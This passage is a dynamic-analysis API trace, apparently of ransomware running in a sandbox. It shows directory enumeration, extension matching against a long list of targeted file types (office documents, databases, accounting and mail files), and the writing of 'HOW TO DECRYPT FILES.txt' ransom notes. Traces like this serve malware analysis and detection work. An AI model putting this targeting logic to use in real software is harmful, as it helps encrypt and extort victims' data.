(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.nef") returned 0 [0109.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.svg") returned 0 [0109.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.psd") returned 0 [0109.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.vmx") returned 0 [0109.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.vmdk") returned 0 [0109.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.vdi") returned 0 [0109.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.lay6") returned 0 [0109.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.mpeg") returned 0 [0109.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.djvu") returned 0 [0109.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.tiff") returned 0 [0109.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.backup") returned 0 [0109.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.pdf") returned 0 [0109.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.cert") returned 0 [0109.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.docm") returned 0 [0109.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.xlsm") returned 0 [0109.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.dwg") returned 0 [0109.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.nd") returned 0 [0109.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.tlg") returned 0 [0109.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.lgb") returned 0 [0109.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.mov") returned 0 [0109.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.xdw") returned 0 [0109.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.ods") returned 0 [0109.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.wav") returned 0 [0109.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.mp3") returned 0 [0109.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.aiff") returned 0 [0109.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.flac") returned 0 [0109.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.m4a") returned 0 [0109.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.csv") returned 0 [0109.493] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcfee660, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdcfee660, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdcfee660, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x8ea00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Transactions.Bridge.Dtc.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.493] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.493] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7e8d5aa, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd7e8d5aa, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd7e8d5aa, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="a04be0cabc675da23c6cdd970b50e3c5", cAlternateFileName="A04BE0~1")) returned 1 [0109.493] lstrcmpA (lpString1=".", lpString2="a04be0cabc675da23c6cdd970b50e3c5") returned -1 [0109.493] lstrcmpA (lpString1="..", lpString2="a04be0cabc675da23c6cdd970b50e3c5") returned -1 [0109.494] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\*.*") returned="*.*" [0109.494] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\", lpString2="a04be0cabc675da23c6cdd970b50e3c5" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5" [0109.494] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7e8d5aa, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd7e8d5aa, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd7e8d5aa, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.500] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.500] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7e8d5aa, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd7e8d5aa, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd7e8d5aa, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.500] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.500] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.500] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7df5029, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd7df5029, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd7e1b189, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x186600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Transactions.Bridge.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.500] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.500] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Transactions.Bridge.ni.dll") returned -1 [0109.500] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Transactions.Bridge.ni.dll") returned -1 [0109.500] lstrcmpiA (lpString1="", lpString2="Microsoft.Transactions.Bridge.ni.dll") returned -1 [0109.500] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\*.*") returned="*.*" [0109.500] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\" [0109.500] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\") returned="" [0109.500] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\HOW TO DECRYPT FILES.txt" [0109.500] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\how to decrypt files.txt")) returned 0xffffffff [0109.500] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.505] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.507] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.507] CloseHandle (hObject=0x90) returned 1 [0109.508] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\", lpString2="Microsoft.Transactions.Bridge.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll" [0109.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.ems") returned 0 [0109.508] lstrlenA (lpString="*.ems") returned 5 [0109.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.db") returned 0 [0109.508] lstrlenA (lpString="*.db") returned 4 [0109.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.dbf") returned 0 [0109.508] lstrlenA (lpString="*.dbf") returned 5 [0109.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.myox") returned 0 [0109.508] lstrlenA (lpString="*.myox") returned 6 [0109.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.myo") returned 0 [0109.508] lstrlenA (lpString="*.myo") returned 5 [0109.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.qbw") returned 0 [0109.508] lstrlenA (lpString="*.qbw") returned 5 [0109.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.qbb") returned 0 [0109.508] lstrlenA (lpString="*.qbb") returned 5 [0109.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.qbm") returned 0 [0109.508] lstrlenA (lpString="*.qbm") returned 5 [0109.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.qbo") returned 0 [0109.509] lstrlenA (lpString="*.qbo") returned 5 [0109.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.qbx") returned 0 [0109.509] lstrlenA (lpString="*.qbx") returned 5 [0109.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.qba") returned 0 [0109.509] lstrlenA (lpString="*.qba") returned 5 [0109.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.qby") returned 0 [0109.509] lstrlenA (lpString="*.qby") returned 5 [0109.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.qbj") returned 0 [0109.510] lstrlenA (lpString="*.qbj") returned 5 [0109.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.ofx") returned 0 [0109.510] lstrlenA (lpString="*.ofx") returned 5 [0109.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.qif") returned 0 [0109.510] lstrlenA (lpString="*.qif") returned 5 [0109.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.mye") returned 0 [0109.510] lstrlenA (lpString="*.mye") returned 5 [0109.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.mbox") returned 0 [0109.510] lstrlenA (lpString="*.mbox") returned 6 [0109.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.eml") returned 0 [0109.510] lstrlenA (lpString="*.eml") returned 5 [0109.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.pst") returned 0 [0109.510] lstrlenA (lpString="*.pst") returned 5 [0109.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.ost") returned 0 [0109.510] lstrlenA (lpString="*.ost") returned 5 [0109.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.idx") returned 0 [0109.510] lstrlenA (lpString="*.idx") returned 5 [0109.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.dbx") returned 0 [0109.511] lstrlenA (lpString="*.dbx") returned 5 [0109.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.sql") returned 0 [0109.511] lstrlenA (lpString="*.sql") returned 5 [0109.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.mdb") returned 0 [0109.511] lstrlenA (lpString="*.mdb") returned 5 [0109.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.fdb") returned 0 [0109.511] lstrlenA (lpString="*.fdb") returned 5 [0109.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.wab") returned 0 [0109.511] lstrlenA (lpString="*.wab") returned 5 [0109.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.dat") returned 0 [0109.511] lstrlenA (lpString="*.dat") returned 5 [0109.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.txt") returned 0 [0109.511] lstrlenA (lpString="*.txt") returned 5 [0109.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.jpeg") returned 0 [0109.511] lstrlenA (lpString="*.jpeg") returned 6 [0109.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.jpg") returned 0 [0109.511] lstrlenA (lpString="*.jpg") returned 5 [0109.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.png") returned 0 [0109.511] lstrlenA (lpString="*.png") returned 5 [0109.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.php") returned 0 [0109.511] lstrlenA (lpString="*.php") returned 5 [0109.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.cs") returned 0 [0109.511] lstrlenA (lpString="*.cs") returned 4 [0109.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.cpp") returned 0 [0109.512] lstrlenA (lpString="*.cpp") returned 5 [0109.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.rar") returned 0 [0109.512] lstrlenA (lpString="*.rar") returned 5 [0109.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.zip") returned 0 [0109.512] lstrlenA (lpString="*.zip") returned 5 [0109.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.html") returned 0 [0109.512] lstrlenA (lpString="*.html") returned 6 [0109.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.htm") returned 0 [0109.512] lstrlenA (lpString="*.htm") returned 5 [0109.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.xlsx") returned 0 [0109.512] lstrlenA (lpString="*.xlsx") returned 6 [0109.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.xls") returned 0 [0109.512] lstrlenA (lpString="*.xls") returned 5 [0109.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.mp4") returned 0 [0109.512] lstrlenA (lpString="*.mp4") returned 5 [0109.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.ppt") returned 0 [0109.512] lstrlenA (lpString="*.ppt") returned 5 [0109.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.pptx") returned 0 [0109.512] lstrlenA (lpString="*.pptx") returned 6 [0109.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.doc") returned 0 [0109.512] lstrlenA 